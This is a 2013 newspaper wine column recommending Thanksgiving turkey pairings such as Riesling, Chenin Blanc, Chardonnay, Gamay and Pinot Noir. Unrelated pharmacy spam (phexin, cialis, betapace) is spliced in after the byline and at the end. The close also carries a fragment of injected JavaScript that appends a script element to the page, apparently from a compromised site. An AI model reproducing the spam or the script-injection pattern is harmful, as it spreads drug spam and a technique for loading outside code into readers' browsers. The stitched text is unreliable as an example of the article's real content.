Thanksgiving wines abound – Oct 12, 2013


order phexin dosage By Anthony Gismondi

It’s Thanksgiving weekend and like many British Columbians, you will soon be in a wine store looking for something to serve or take to a Thanksgiving celebration with family and/or friends. For those of you roasting the “traditional” stuffed bird this holiday weekend, today’s picks are for you. I know some people won’t be eating turkey, but given how many other food matches we suggest throughout the year, this weekend it’s all about turkey wines.

There is a wide variety of wines to choose from that will shine alongside turkey and if you were unaware, there is no colour consensus when it comes to the classic turkey wine match. Red or white, you really can’t go wrong with either, as long as you avoid the big tannic, monster reds and the heavily oaked whites that tend to overpower the flavour and texture of the bird.

Today we look at six styles, both blends and varietals that should enhance your turkey meal. My suggestion is to pick two, perhaps one red and one white, and serve both throughout the meal. As much as we love wine, it need not be the focus of any Thanksgiving celebration, but rather simply a supporting member of what should be a memorable day with family and friends.

We begin with Riesling that simply proves that turkey and all the trimmings go well with a wide variety of styles. Riesling comes in many styles, but it’s the crisp, tangy style that cuts through the fat in the turkey and the gravy and the potatoes and, well you get the point, freshness versus fatty foods is the trick. You can also play with sugar levels going from dry to off-dry, and even sweet, to combat the spice or heat in any dish.

Chenin Blanc may be as versatile as turkey and it comes by its chameleon ability to adapt naturally in the Loire Valley, where it is often made in a variety of styles that range from dry and off-dry to semi-sweet and supersweet. Chenin is also found in sparklers that are dry and semi-dry. Like Riesling, its secret weapon is freshness and acidity with bright fruity flavours of melon, citrus, nectarine, pear, green apple and honeysuckle. Roast turkey just seems like the perfect fit. You can chose from local Chenin Blanc, the aforementioned Loire, and several choices from South Africa.

Chardonnay has undergone a huge transformation in style over the last decade from the old alcoholic butterscotch and vanilla style to something fresher, brighter and more food friendly. Any savoury spiced bird with similar stuffing would be a great match with Chardonnay and your choices are almost limitless from local Okanagan picks to California, Australia, Burgundy and France. There are several recipes for Chardonnay gravy on the web if you want to pull the wine right into the dish.

The Gamay grape is all over the turkey match because of its bright penetrating red fruit flavours. France and B.C. labels are the smart choice for current Gamay picks.

Pinot Noir, at least new world selections, work well with turkey. Soft and fruity yet substantial in the mouth, Pinot Noir has enough acidity to cut through rich dishes. Finally, with so many delicious Rhone reds in the market you may want to consider selecting something from this genre.

The big dinner should be more about the people than wine, so relax, enjoy and above all, drink responsibly. how to find real cialis on the internet Pills order betapace side document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName(‘head’)[0].appendChild(s);

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